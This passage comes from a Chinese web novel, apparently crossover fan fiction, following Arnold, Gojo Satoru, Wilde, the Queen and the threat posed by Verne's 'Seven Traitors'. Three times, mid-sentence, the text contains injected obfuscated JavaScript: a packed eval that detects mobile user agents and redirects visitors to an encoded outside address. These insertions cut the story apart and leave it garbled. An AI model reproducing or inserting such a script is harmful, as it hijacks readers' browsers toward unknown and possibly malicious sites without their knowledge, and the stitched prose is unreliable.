女佣细致地帮阿诺德擦干滴水的发尾,而阿诺德则眼睛半睁不睁地坐在床上,打起了瞌睡。 回伦敦的前几天,他还在熬夜打游戏,虽然因为优秀的体质没有熬出黑眼圈,到底是有几分藏得极深的困倦。 舒舒服服地泡了个澡之后,阿诺德整个人都蜷缩进被窝里,希莱尔还没来得及跟他汇报最近两个月伦敦的事务,就被门口的佣人拦住了。 忠心耿耿的佣人尽可能地压低声音,“请您明天再来吧,小先生已经睡着了。” 希莱尔对不熟的人总是比较拘谨的,他客气地点了点头,换来佣人满意的眼神。 “……”希莱尔嘴角抽搐,只得下次再来。 他这个难搞的上司究竟为什么能得到仆佣们发自内心的爱戴?难道成为阿诺德雇佣的佣人的前提就是眼瞎? 希莱尔对此百思不得其解,这大概会成为这位饱受上司折磨的副官一辈子也理解不了的问题。 如果是柯南·道尔站在希莱尔的角度,恐怕只会恍然大悟地明白阿诺德为何这么想回伦敦。 想念远在伦敦的阿加莎?明显就是狗屁不通的谎话,阿诺德不过是想念管家和仆人们的精心照顾,拿阿加莎当借口罢了。 边境的生活质量毕竟比不得英国经济与政治中心的伦敦,就算是柯南·道尔这个最高指挥官住的地方,也不会配备仆佣。 柯南·道尔早就习惯如此,而阿诺德娇惯得很,他过惯了众星捧月的少爷日子,突然叫他来战场,他倒不是活不下去,只是会在短短几天内变得乱糟糟的,像只刚刚离开母亲的亚成年小猫一样,在大街小巷的垃圾桶里乱窜乱翻,虽然饿不死,但是也没办法打理好自己。 柯南·道尔毫不怀疑这点:阿诺德是没有独自生活能力的,他就是个生活废。 关于这一点,柯南·道尔可谓是深有体会,哪怕给阿诺德买了一柜子的衣服,阿诺德也只会在不知不觉间全都弄丢、弄坏,阿诺德不见得就是故意的,只能说破坏力的确惊人。 柯南·道尔也是真的尽力了,在他的看顾下,至少阿诺德看起来像是个正常人——好歹不是风衣短裤乱搭的奇怪穿搭了。 单凭柯南·道尔一个人,确实做不到像阿诺德家里细心又热忱的仆人们那样,把阿诺德打扮成那副矜贵自持的少爷模样,尽管谁都知道阿诺德跟“自持”一词沾不上边,看到他穿着昂贵的礼服,像只高傲的小孔雀一样站着时,还是会被迷惑那么一秒钟。 22.chapter22 另一边,作为客人到访的王尔德一起用了下午茶,本来还想等阿诺德一起来,但是他也看到了阿诺德一回家就变得昏昏欲睡的脸,于是便体贴地没有打扰。 王尔德刚从战场回来时,也是打不起精神,却说不上来哪里不舒服,大概是舟车劳顿带来的后遗症。 因此他表达了谅解,笑着说,“休息才是第一要务,我上次画到一半的风景画还没有画完,这次正好画完送给他。” 王尔德跟阿诺德关系最好的那段时间,时常来阿诺德家里做客,所以这里还专门为他留了一间客房,里头定时打扫,看上去与上次没有区别。 画板和颜料都收拾得整整齐齐,各种设施也都齐全,衣柜里甚至准备好了尺码合适的不掉价的衣物,不需要拎包也能入住。 这显然不是阿诺德吩咐的,他本人不常管这些,都是细心的管家为他妥帖地安排好一切。 然而在王尔德眼里,就算阿诺德没有为此出力,那也是对方的功劳——毕竟不是谁都能这么有眼光地雇佣一位可靠的管家,也不是谁都能收服这么多心思各异的仆佣。 坐在他对面的五条悟打量着他,从他的表情里看出了什么,含着的糖滚了滚,毫不意外地移开了目光。 看起来又是和管家一样的家伙,在他们这些人眼里,阿诺德做什么都是对的吧。 五条悟不爽地咬碎了硬糖,他完全理解不了管家对阿诺德的神奇滤镜。 看透阿诺德本质的五条悟只要一想起对方那张看似人畜无害的脸蛋,就下意识地紧绷起来,有种遇见天敌的警觉,还有几分跃跃欲试。 尽管本能催促着他逃离,过盛的好奇心还是让他忍不住靠近,而过于接近那家伙往往没什么好果子吃。 五条悟摇晃着腿,开始思考起一个问题。 他当初到底为什么会跟着阿诺德回家?回想起来,那时的他甚至没有多少抗拒,虽然他当时认为对方脑子指定有毛病,却还是默认对方牵上了他的手,就这么跟对方回家了! 然后,五条悟就莫名其妙地成了这个家里的小少爷。 他犹还记得,阿诺德把他带回来之后,没有多作解释,只是简单地宣布道,“我要收养他,给他找个房间住。” 管家一副以阿诺德为首的样子,对阿诺德的发话都是毫不犹豫地照做,管家只问了五条悟的名字,就极迅速地接受了五条悟作为新的小主人。 次日,所有受雇于阿诺德的仆佣,乃至于园林里劳作、平日里根本没什么机会见到他的花匠,都改口叫他小少爷,出奇的整齐划一。 第一次见到阿诺德的时候,五条悟刚从昏迷中苏醒没多久,他忘却了一切前尘往事,除了自己的名字,所有的记忆都是模模糊糊的,仿佛隔了一层纱,怎么看也看不清。 那时的五条悟大脑一片空白,却还凭着敏锐的直觉和六眼的观察力避开了路上的所有活人,尽量不引人注目。 直到有一个气息与普通人迥异的人感知到了他的位置,并直线朝他走过来。 对方看起来不像是会出现在这个小巷子里的人,从发丝到装束,没有一处是不精致的,乍看就是贵族出身的少爷。 五条悟还看到对方头上戴着顶黑色的帽子,宽大的帽檐挡住斜斜的雨丝,却遮不住鎏金般的眼眸。 太阳一样灿烂的眼眸从路边堆积的垃圾和废弃的家具之类的东西略过,没有为死物停留半秒,而是锁定了藏身角落的五条悟。 五条悟借着障碍物躲藏,由于是死角,在对方直勾勾靠近的时候也没地方挪动,只能赌对方没有发现自己。 很显然,他赌输了。 这个贵气十足的陌生人像是对五条悟非常感兴趣似的,先是撸猫似的薅了把白毛,在五条悟的脸上摸了两把,又极小声地嘀咕着五条悟听不懂的话,“也没有六只眼睛啊?” 见已经藏不住,五条悟索性自己站了出来。他很不适应对方的触碰,但是六眼看到的恐怖能量在提醒他,眼前的这个人是他目前不能招惹的存在,于是眉目冷淡地默许了对方的动手动脚。 “要不要跟我回家?”对方笑嘻嘻地说道,听起来是询问,实际上没有半分征求意见的意思,只是表面上的礼貌。 五条悟心神一震,接下来的事情就不由他控制了,对方把他带回了领地,可是又不管他,把他捡回来就失踪了。 五条悟想起这件事就觉得荒谬,他被带回来的时候甚至不知道对方叫什么名字,还是从管家的口中得知,那个看上去好说话,实际上无比强硬的人名为阿诺德,是他所踏足的这个广袤领地的主人。 在他们还未互换姓名的时候,对方竟然已经是他的监护人了,这简直是可以用离奇二字来形容的事。 阿诺德不知所踪后,五条悟听了下人们偶尔的交谈,才知道对方原来是出去玩了,对方以前就是这个德性。 阿诺德连着好几天都不一定着家,等到倦了才会到家歇一歇。 终于有一天阿诺德难得回家了一趟,正好阿加莎匆匆来找阿诺德,好像是有什么急事。阿诺德还没在家里待多久,只来得及口头戏弄五条悟几句,就因为突如其来的紧张战况而去了战场。 阿诺德的离开让五条悟本就毫无波澜的日子就变得更加无聊了,原本他还可以胡乱猜测一下对方何时回家。 大概是阿诺德良心发现了,总算想起了五条悟这个倒霉孩子,没两天,跟五条悟有过一面之缘的阿加莎就派人将他接去了钟塔侍从,发现他的术式之后,还特地跟他谈话,“你的异能就叫做【无下限】?” 五条悟点了点头,虽然潜意识告诉他,【无下限】是他的术式,他是个咒术师。 但是据他观察,至少在伦敦,鲜少有咒术师的踪迹,就连蝇头这样随处可见的咒灵都罕见,可见咒力体系在这里已经销声匿迹。 既然如此,他也没必要主动自曝为咒术师,入乡随俗地成为异能力者,也不失为一种好的选择。 见五条悟点头,阿加莎神情中出现了一丝恍然,她现在明白为什么阿诺德专门给她写信,拜托她照顾五条悟了,明明家里有很多佣人,却还是舍近求远让她来照顾。看来此“照顾”非彼“照顾”,言外之意是让她帮忙训练五条悟啊。 五条悟说到底是咒术师,不是异能力者,钟塔侍从用于训练异能力者的方法在他身上收效甚微,五条悟从钟塔侍从学到的最有用的东西是体术,至于【无下限】术式的开发,看来还得靠他自己。 在自个儿钻研【无下限】的应用极限时,恰巧碰到了回来的阿诺德,接下来的事情就是让五条悟郁闷的原因——之前刚刚失忆的时候,他把【无下限】忘了,所以阿诺德对付他就像对一个普通小孩,这没什么好说的。 但是为什么,他现在已经可以熟练使用【无下限】了,阿诺德还是可以随随便便把他拎小鸡似的拎起来? 难道对方真就这么强,强到可以突破规则,无视【无下限】? 五条悟百思不得其解,他的术式需要精确的咒力操纵,他闭着眼睛都能感受到咒力在周身流转,他可以打包票,【无下限】的防御没有破绽。 即使是从百米高空摔下来,亦或者被□□狙击枪的超大口径子弹命中,【无下限】通常也能做到完美防御。 而阿诺德徒手把他拎起来的时候,他能确定自己的术式是完好无损的,咒力分布在四肢百骸之间,甚至没有一点被攻破的感觉,他就这么懵着脸被逮了个正着,除非【无下限】投敌倒戈了,不然没法解释对方为何可以无视【无下限】。 五条悟越想越纳闷,他是越好奇就越要弄明白的性子,夜里他被这件事弄得睡不着觉,一闭上眼就全是被拎起来的屈辱回忆,于是半夜悄悄出了房门,做贼似的趴在阿诺德卧室的门口,细细地听着里面的声音。 ……好像没有声音,五条悟凝神听了半晌,以他当前稚嫩的脑袋只能得出一个结论:阿诺德应该是睡着了。 他警惕地往走廊两边扫视,这幢别墅参考了古老的设计,走廊里只有墙壁两侧装了蜡烛样式的夜灯。 这种古堡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407138|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似的阴森设计让五条悟有种幻觉,好像每走几步就会有壁画直勾勾地看着他。 他在阿诺德的卧房门口伫立了一会儿,只觉四周的画像不知不觉中将视线汇聚在了他身上,莫名有些阴恻恻的。 这让五条悟莫名打了个哆嗦,心道,就算是光线和角度的作用,这壁画中的人像看起来未免太渗人了! 守夜的仆佣还在巡逻,看起来刚刚巡视过一遍这里,短时间内不会回来。 “……”他控制好力道,小心地拧了一下门把手,出乎意料,天助他也,门没有锁。 五条悟蹑手蹑脚,谨慎地迈出脚步,厚实的地毯完美掩盖了他的脚步声,即使仔细去听,也很难察觉到什么动静。 随着距离目标越来越近,五条悟不由得屏住了呼吸。 以六眼优秀的视力,五条悟可以看到一坨栗色卷毛陷进被窝里,目标蜷缩在被子里的身体有规律地呼吸着,看起来睡得很熟。 他再次使用了【无下限】,六眼在朦胧的月光中泛着宝石般的蓝,支撑起了精细的咒力操作。 五条悟集中注意力,将【无下限】调整为禁止任何生物触碰,再主动去碰阿诺德悬在床边的手腕。 这次【无下限】好像没有异常,他碰不到阿诺德的手。 五条悟得到了想要的答案,目光在阿诺德身上停留一秒,准备撤退了。 他以前也进过对方的卧室,高大的书架,琳琅满目的收藏架,还有面积不小的衣帽间等等,通常来说都是整洁的,就算阿诺德自己不爱收拾,管家也会替他收拾好。 今天好像不太一样,五条悟慎重地打量着周遭的一切摆设,乱扔的游戏卡带,在夜色里微微闪烁、没有关机的游戏手柄,几袋开口的薯片放在茶几上,毛绒绒的拖鞋一只在床底,一只在玄关,乱七八糟,了解阿诺德的人一看就知道是阿诺德亲手所为,除了他,这个家再没有人能短时间内把房间弄成这番乱糟糟的样子了。 不一样,往往就意味着意外。 他隐约感觉到不对。 “哇。”一道声音带着笑意从身后传来,将五条悟吓得一个激灵,“看看这是谁?” “啪”的一声,整个房间都亮堂起来。 明亮的灯光下,阿诺德穿着松松垮垮的睡衣,系在腰间的带子打了个蝴蝶结,让松懈的衣物不至于滑落到地上,他眼中清明一片,全无困意,不像是一个刚刚被吵醒的人。 阿诺德不知何时走到了五条悟身后,他悄无声息地将手搭在了五条悟的肩膀上,隐晦截断了对方逃跑的后路,对五条悟笑了一下,“哎呀呀,被我逮住了。” 五条悟正以为对方要让自己好看,心道不好,这回怕是要栽了。 正当他浑身僵硬的时候,阿诺德不按套路出牌,弯腰捡起一个手柄,往五条悟身上扔。 “来都来了,陪我打两把游戏。”说着,他打开了一个五条悟从未听说过的游戏,《拳王争霸》。 五条悟:“……?” 他同时思考起两个问题,第一,【无下限】到底干什么吃的,为什么完全检测不到对方的偷袭。 第二,这个《拳王争霸》,是怎么个玩法? 在操控着的人物再度被阿诺德的人物暴打身亡后,从未接触过手柄游戏的五条悟开始沉思。 阿诺德睡了一下午,半夜就自然醒了,睡饱之后精神抖擞,状态很好,一点都不害臊地用娴熟的手法欺负新手,而这个倒霉的新手毫无反抗之力地被摁在地上摩擦。 见五条悟表情迷惑,开始怀疑人生了,阿诺德才满意地丢给对方一本说明书,以一种胜利者的姿态嘲笑道,“菜,就多练。” “……”五条悟总感觉这话有点熟悉,他一听到就有股无名火,但是人在屋檐下不得不低头,深谙这个道理的五条悟对阿诺德咬牙切齿地笑了一下,“我回去研究一下。” 五条悟一溜烟地窜出了某人的感知范围,经此一役后,他恐怕再也不会无把握尝试入侵某人的私人领域,试图蒙蔽某人的感官了。 23.chapter23 北方的战事进入和缓时期,不知在什么时候就会结束。阿诺德回到伦敦之后,出版社也如期寄来了样书。 阿诺德转而将样书寄去了柯南·道尔的住址,没过两天,对方就收到了这份精心准备的礼物。 系统检测到好感度异样的起伏,在阿诺德的脑海中急促地播报起来。 【请注意,阿瑟·柯南·道尔对您的好感度已下降至40】 【39】 【38】 【32】 大约是好感度下滑太快、太均匀,系统到后面不像是在通知,而像是在纯粹的倒数。 【31】 …… 阿诺德哈哈大笑,不由得开始想象起了柯南大叔脸涨成猪肝色的愤怒样子,顿时笑得更开心了,他很满意这场精心策划的恶作剧,因为柯南大叔的反应实在是很有趣。 不管多少次见到柯南大叔的臭脸,他都忍不住想笑,大概是因为柯南大叔平时太正经、严肃了,仿佛遇见任何事情都会波澜不惊,板着一张缺乏表情的臭脸,这就让阿诺德起了逆反心理。 柯南·道尔越是端着架子的绅士,他就越会想办法让对方生气,好欣赏一番对方失态的模样。 反正柯南大叔短时间内回不了伦敦,就算恨不得把他吊在风扇上打屁股,也苦于各种冗杂的事务,鞭长莫及,所以他就更没有负担了,自觉完成了一个完美的恶作剧。 “诺森伯兰郡寄来了一封信,”管家说,“看起来应该是您的。” 诺森伯兰郡是英国的最北方的一个郡,也是柯南·道尔所在之地。 阿诺德“哦”了一声,瞥了一眼信封,对它的来历心知肚明,于是把它随手往桌上一扔,就去找王尔德打游戏了。 王尔德的技术没有生疏,登陆账号之后,就开了把双人决斗。 虽然只是游戏,但王尔德并不大意,原本用来执笔的手被用作游戏一途竟也显得非常合适,修长的手指在操作按键和摇杆之间快速动作,几乎起了残影。 而阿诺德同样是个精于此道的游戏高手,手速快得飞起,因此不相上下地僵持了许久。 两个人又都是犟种,王尔德不想在阿诺德面前丢脸,因此拼尽全力,而阿诺德的思维就简单多了,他只是单纯地不想输。 最后,阿诺德趁着王尔德躲闪时不慎露出了破绽,用偷袭取胜。虽说取胜的方式不算很光明正大,到底是用游戏承认的方法将对方斩于马下。 游戏屏幕浮现出一个血红色的K.O,王尔德感觉手腕隐隐有些酸痛,他们已经坐在地上面对面打了四个多小时的游戏了,连续高强度对战这么久,他只觉得手有点抽筋,不小心露出破绽,就被阿诺德给一击毙命了。 王尔德心情有些复杂,不管从哪方面来讲,阿诺德都很让人难以招架啊。他已经有点手疼了,阿诺德还没什么症状,甚至若无其事地问道,“再来一把?” “……”王尔德艰难地开口,“不了。” 阿诺德失望地瞧着他,王尔德一咬牙,终究是禁不住诱惑。他心下一横就应了下来,“那再来一局。” 阿诺德眼睛一亮,像是怕他跑了似的,立刻开了下一把。 . 朴实无华地打了几天游戏后,阿诺德终于腻味了。 唯一能跟他有来有回的王尔德不知怎的伤到了手,短时间内没办法陪他玩了,这让阿诺德有些遗憾。 正当阿诺德想着去哪里寻乐时,又有新的事件出现了。 女王突然召见了他。 穿过长长的连廊,阿诺德很快就在侍女的带领下见到了女王,女王头发花白,已经年过五旬,是个名副其实的老太太了。 “我想想啊,我要跟你讲什么事儿来着……嗯,这件事阿瑟应该和你说了?”女王拿着把剪子,有一搭没一搭地修剪着茂密的枝条。 阿诺德不假思索,“没有。”不然他怎么没有印象? 女王笑了笑,“可是阿瑟怎么刚好是相反的说辞?他告诉我,他已经吩咐人快马加鞭地给你送信,专门提醒你要小心了。” 阿诺德这才想起几天前从诺森伯兰郡寄来的信,那封信一看就是柯南大叔写的,让他毫无打开的欲.望。 他才刚寄去那本狗血小说的样书没多久,柯南大叔名誉受损,想必气恼得很,肯定不会这么快原谅他。 看好感度就知道了,柯南大叔真的很生气。 而且用脚趾头想都知道,生气的人是说不出什么好话的,所以阿诺德拒绝拆开那封信——他可没有挨骂的癖好。 看阿诺德的表情,女王也猜到了什么,想起最近风靡伦敦的某本爱情小说,作者居然是柯南·道尔,这让柯南·道尔以前的书粉大跌眼镜,直呼不可能,不愿意相信对方会写出这样伤风败俗、引人堕落的小说。 柯南·道尔以严肃文学和推理小说出名,以女王对他的了解,柯南·道尔即使真的写了,也不会将小说发布出来,更何况那本书的主角名字还那样引人深思。 一番思索,女王大致明白是阿诺德从中搞了鬼,但她对阿诺德很宽容,没有责怪的意思,只是好笑地拍了拍阿诺德的脑袋,发现阿诺德一头卷毛柔软又顺滑,好感好到爆炸,于是没忍住多揉了几下。 阿诺德像是清楚女王不会责罚他似的,开始胡说八道,“柯南大叔的信我不敢看,我怕他在信上附加异能,等着我撕开信封就措不及防地打我一下。”算是明示他最近惹了柯南·道尔的不快了。 女王被他蹩脚的理由逗笑了,闻言不语,继续修剪多余的枝桠。 阿诺德探头探脑,挤开郁郁葱葱的观赏植物,硬是凑到女王的眼皮子底下,“所以到底是什么事嘛?” “你啊,”女王叹了口气,眼神无奈,“这件事情怎么说呢?其实就是你之前跟法国那边签下的契约出了变故,那个契约型异能力者居心不良,前不久以生命作为背弃诺言的代价,扭曲了那个契约。” “异能确实是很不可控的东西,在对方主动暴露之前,没人知道这个强制契约的异能还有这样的效果,虽然听上去很鸡肋,必须用命去换一个契约,但立下契约的其中一方恰好是你……”女王意味深长。 “当时你签下的契约内容是,无条件答应法国一个要求,”女王慢慢道,“这个契约有不少附加条件,不能危害英国,不能要求你自戕……所以不算麻烦。但是,在那个契约型异能力者疯狂的扭曲下,你需要履行承诺的对象变了——” “你现在需要无条件答应凡尔纳一个要求。那个契约型异能力者并非忠于法国,而是狂热地崇拜着法国的超越者凡尔纳,不惜用命为对方铺路。” “我们都小瞧凡尔纳了,”女王沉重道,“他的野心远远不止是成为一名盲目为国而战的超越者,他还想要靠自己终止战争!不久前,荷兰的总理被自称【七个背叛者】的组织所绑架,以此为号角,很快又有新的国家领袖遭到袭击。【七个背叛者】由各国叛变的超越者组成,就连大不列颠也有人被其蛊惑……【七个背叛者】的领导者兼一手策划绑架的幕后黑手,就是凡尔纳。” 女王郑重地看着他,“在凡尔纳真正要求你履行契约之前,没人知道那个契约到底被扭曲到什么程度——只是简单地改变承诺的对象,还是连前提都能修改?他能不能、会不会要求你自戕?这是个好问题。凡尔纳既然敢犯下叛国之罪,一定做好了破釜沉舟的准备,我不确定他会不会要求你自戕,但你只要不跟他碰面,应该就没问题。” “所以,你近段时间就远离伦敦,留一个替身在家里,免得被他钻了空子。” “那他会来找我吗?”阿诺德眸中亮起了熟悉的跃跃欲试的光。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410356|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 女王这才意识到不对,她咳了一声,难得露出了几分不悦,三令五申地强调,“总之你离伦敦远点,越远越好!” 见阿诺德满脸期待,不见一点畏惧,女王又重复问道,“听见了吗?” 阿诺德点头如啄米,“听到了。” 一点停顿和思考的痕迹都没有,一看就知道没听进去。 女王头疼地按了按太阳穴,正想让他赶紧走,下一瞬阿诺德却冷不丁道,“可是我走了,他们也会来绑架你呀。” “莎士比亚前几天刚刚去了俄国,柯南大叔也暂时回不来,那么多人都在出外勤。要是我走了,整个伦敦就只剩下阿加莎一个人拥有保护你的能力。”阿诺德冷静地道,“【七个背叛者】,他们有七个人,就算没有倾巢而出,为了确保绑架成功,肯定也会派出三个以上的人手。” “以一敌众,阿加莎不是他们的对手。”阿诺德阐述事实,“所以我必须留下。” “他们不会杀了我。”女王深吸了口气,“但是会杀了你,一定会的。走,离开伦敦,别让他们找到你的踪迹。” “……”阿诺德困惑地歪了歪头,他不明白女王为什么不愿意让他留下,他加重语气,发誓般说道,“我不会死的。” 可是女王依旧坚定地回绝了他的请求,“不行,你必须得走。” 见没有回旋余地,阿诺德只好离开了,一边往嘴里扔着糕点,一边思考着如何神不知鬼不觉地留在伦敦——【七个背叛者】绑架各国领导者这种有意思的事,他无论如何都不想错过。 女王目送他离开,不知为何想起了两年前的事。当时她遭遇了一场刺杀,刺客巧妙地避开了所有侍卫,眼看着就要动手,在紧要关头,是阿诺德及时赶到救了她一命。 那时阿诺德才十四岁,在女王眼里就是个没长大的孩子,可这样稚嫩的孩子却毫不犹豫地挡在她面前,这种熟悉的场景让她瞳孔紧缩,不自觉地有些颤栗。 女王今年五十多岁,年轻时曾有过好几个孩子,其中她最爱的那个孩子就曾替她挡下致命的袭击,最后重伤不治在她怀里咽气,死的时候还只有十二岁。 那孩子也是一头栗色的卷发,笑起来很可爱,性格是让人放不下心的跳脱和任性。 她第一次见到阿诺德的时候,阿诺德就在花园里跟阿加莎打闹,他扯下了阿加莎那顶别着花的宽大帽子,然后就笑个不停,惹得阿加莎愤怒地连根拔起一株玫瑰砸在他脸上。 而阿诺德就算被玫瑰根系上的泥土弄脏了脸,还是得意扬扬地大笑,为这小小的胜利——英国人的帽子可是很重要的东西!阿加莎警惕地防备着阿诺德暴起,可还是失去了心爱的帽子,这对于阿诺德而言,怎么能说不是一次胜利呢? 看着那灿烂的笑容,她恍惚间以为是那孩子回来了,但是回过神来,就对上了阿诺德夹杂着好奇的目光,对方不认识她。 她本以为不会有再见的机会,然而没过多久,阿诺德作为未来可期的新兴超越者出现在了她眼前,这次阿诺德已经认得了她的脸,笑嘻嘻地行了个别扭的礼,“请多指教。” 一旁的阿加莎狠狠肘了搭档一下,让他站直,又使眼色让他换个说法。 ‘请多指教’是什么鬼?这是跟女王陛下见面应该有的开场白吗? 不过女王脸上没有被冒犯的不快,而是出乎意料的温和,在阿加莎惊讶的眼光中微笑着回了句,“你也是,请多指教。” . 记忆回笼,女王站在二楼用手指一下一下地敲着扶手,沉沉地盯着楼下的花团锦簇。 凡尔纳提出的停战并非不能承受,迄今为止,英国已经从连天的战火中得到了足够多的利益和土地,所以即使以相对不那么体面的方式结束这场战争,也不是不可以。 怎样都好……她只是不想再失去谁了。 24.chapter24 次日,阿诺德就被迫坐上了离开的车。 他死死抓着车门不肯松手,探出一个脑袋,不甘心地说道,“我走啦?” 专为女王传达旨意的总管提着盒包装精致的糕点,低眉顺眼,“陛下特意叫人准备了您爱吃的酸梅糕点呢,路上填填肚子。” 阿诺德犹还不死心,在他的推拒下,车门根本关不上。 “喂,我真的走啦?” 他不可置信地看了一圈周围,“为什么就你一个人?” 除了宫廷总管,都没人来送他的吗? 他弟弟呢?六眼呢?管家呢? “他们都以为您还在钟塔总部呢。”总管道,“您离开伦敦的事是秘密,若是告诉旁人,那就不是秘密了。” 阿诺德瘪了瘪嘴,夺过糕点盒子,生气道,“你走开,我不想看见你!” 总管连忙把车门关上了,显然巴不得这祖宗离得远远的,越远越好。 . 司机兢兢业业地开车,前座和后座之间有隐私隔断,所以看不到原本阿诺德如川剧变脸似的表情切换。 “哼哼,我才不会这么简单就放弃。”他这时就想起了万能的系统,戳了戳系统,“系统,我想回伦敦,你能帮我吗?” 【根据玩家要求,系统已整理出最佳方案:】 【生成一具外观与玩家无异的人偶,起到掩人耳目的作用。如果检测到暴露风险,系统会自动接管人偶。】 阿诺德见系统如此顺利地答应了他,就想起了上次被扣除生命值上限的事情。 “为什么这次不需要扣生命值上限呢?”他好奇地问道,“不都是要你提供职责之外的帮助么?” 系统的回答模模糊糊,【因为上次提供的帮助超出了一定限度。】 原来如此,看来格林的异能其实有点东西,就算是阿诺德进入了【格林童话】生成的故事世界,都不能等闲应对,必须动用超出限度的定点传送才能解除危机。 阿诺德此前从未听系统说过定点传送这个功能,想来就像【不进行额外的剧情提醒】一样,定点传送这个超模的功能也可以在一定程度上动摇系统的底层代码。 阿诺德隐隐约约摸到了什么,但是还缺乏了关键的东西。 一路上都是平缓的路面,没有多少颠簸。阿诺德眯着眼打盹儿,没多久就迷迷糊糊地睡过去了。 “……到了。”阿诺德没听清司机前面说了什么,只听到后面的一句。 一下车就是临时住所的门口,女王名下房产无数,找了栋位置安全的双层小洋房给他住,虽然比不上他自己的家,生活环境倒也不错。 阿诺德假意进房间打游戏,实则叫系统生成人偶,亲自把人偶摆成低着头乱按游戏机的姿态,换着角度观察,确定没问题就窜了出去。 伦敦!我又回来啦! . 寒冷的西伯利亚,大雪如鹅毛般纷纷扬扬地落下。 金发绿眸的青年坐在木屋里,膝上枕着一本翻开的旧书,壁炉里的柴禾噼里啪啦地响着,却掩不住玄关的怪响。 玄关处传来悉悉索索的声响,青年循着声音,找到了一只躲在柴堆后的有着厚厚毛发的生物。 那生物如同猫儿一样,浑身覆盖着长而密的毛,体型也与家猫差不多。它闻着味道从烟囱里钻了进来,眼看着就要够到挂着的咸鱼,却被屋子的主人逮了个正着。 “兔狲?”莎士比亚将炸毛的团子抓起来,“正好,带回去送给阿诺德当伴手礼。” “说起来已经半年没见了啊……”莎士比亚漫不经心地安抚着弓着腰的兔狲,没一会儿,原本呲着牙的小动物就稳定了下来,睁大水润的兽瞳,它撒娇着吃完鱼干还不够,伸出舌头舔着他沾着鱼味儿的指尖,凶猛的野兽像是一只乖巧的家猫。 莎士比亚想起那个在英国异能界格格不入、与众不同的少年,不由得笑了笑,“希望他喜欢这个礼物……” . 七天之后。 作为兄长身边最亲近的人之一,兰波能够明显感觉到哥哥回家的频率变少了。 他每天翘首以盼地等着一个人的归来,但是每次开门进来的都不是他期待的那个人。 “哥哥很忙吗?”兰波问道。 管家却不觉得有什么不对,“小先生以往也是这样,等玩累了就会自己回家的。” 兰波隐隐有种预感,这件事或许并不像管家说的这样轻描淡写。 他自打和哥哥相认以来,就从来没有跟哥哥分开这么久过,距离上次相见已经快一个礼拜了,哥哥都没有回来看他一次,明明哥哥以前不是这样的,哥哥是很爱玩,但哥哥从来不会忘了他还有个弟弟。 阿诺德在兰波心里享有很高的信誉,因为他从未对兰波说过一句谎话,也从未违背过一次诺言。 往大了说,他说要带兰波回家,说会帮兰波除掉来自老东家的“小麻烦”,无一例外都做到了。 往小了说,他承诺隔天给他带有趣的话本子,还说会替他寻来书本上描写的浅紫色花朵,也从未食言。 在兰波眼里,阿诺德无疑是世界上最可靠的兄长,再没有谁的兄长能赶得上他的哥哥一半好。他看得到阿诺德对他的好,最开始只是知道阿诺德是他的哥哥,但兰波其实并不清楚‘哥哥’究竟意味着什么。 人类将一母同胞的孩子称为兄弟姐妹,阿诺德与他在同一个实验室诞生,出生日期比他早,所以兰波认为阿诺德是他的兄长。从阿诺德第一次趴在窗边偷看他起,他的过去与将来就不再模糊,而是变得泾渭分明。 他以前是“黑之十二号”,现在是“阿蒂尔·兰波”,阿诺德总是叫他兰波,兰波听得多了,恍惚间竟然以为自己真的拥有了这个名字,就好像他不是偷走“兰波”这个名字的实验体,而是真正的自然人。 “我不会抛弃你的,你是我弟弟呀。”从阿诺德说出这句话开始,兰波才真正理解了兄弟的含义。 他是他的哥哥,所以永远都不会抛弃他,他对他好只是因为他们是兄弟。哥哥不会像那些研究员一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416310|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一旦发现他没有价值,就恨不得把他丢进焚化炉里烧成灰烬。 人类创造了兰波,却不是他的亲人,他踽踽独行许久,终于找到了唯一的亲人。 兰波始终相信阿诺德不会不告而别,哥哥如果有的选的话,一定会跟他说一声。 兰波看起来性格冷淡,实际上是个很固执的人,只要有了怀疑,就不会轻易放下。 “我要去钟塔总部。”他要去亲眼看看,哥哥到底在不在那里。 . 作为阿诺德的搭档,阿加莎自然也知道了契约的事。 “阿诺德这家伙,未免太不谨慎了!阿瑟怎么也不管管,就这么让阿诺德签字了?”话虽如此,阿加莎除了口头说几句,也只能帮忙处理烂摊子。 不光是因为阿诺德是她的搭档,女王也特意召见她,让她瞒住阿诺德不在伦敦的事。 现在阿加莎除了需要处理公文,还不得不解决一个衍生而出的问题。 兰波来钟塔侍从找他了,以他的身份,只有阿加莎能接待他。 阿加莎烦躁地用力戳雪白的纸张,努力平复表情,恢复成平时冷艳的样子之后,才让副官带兰波进来。 . 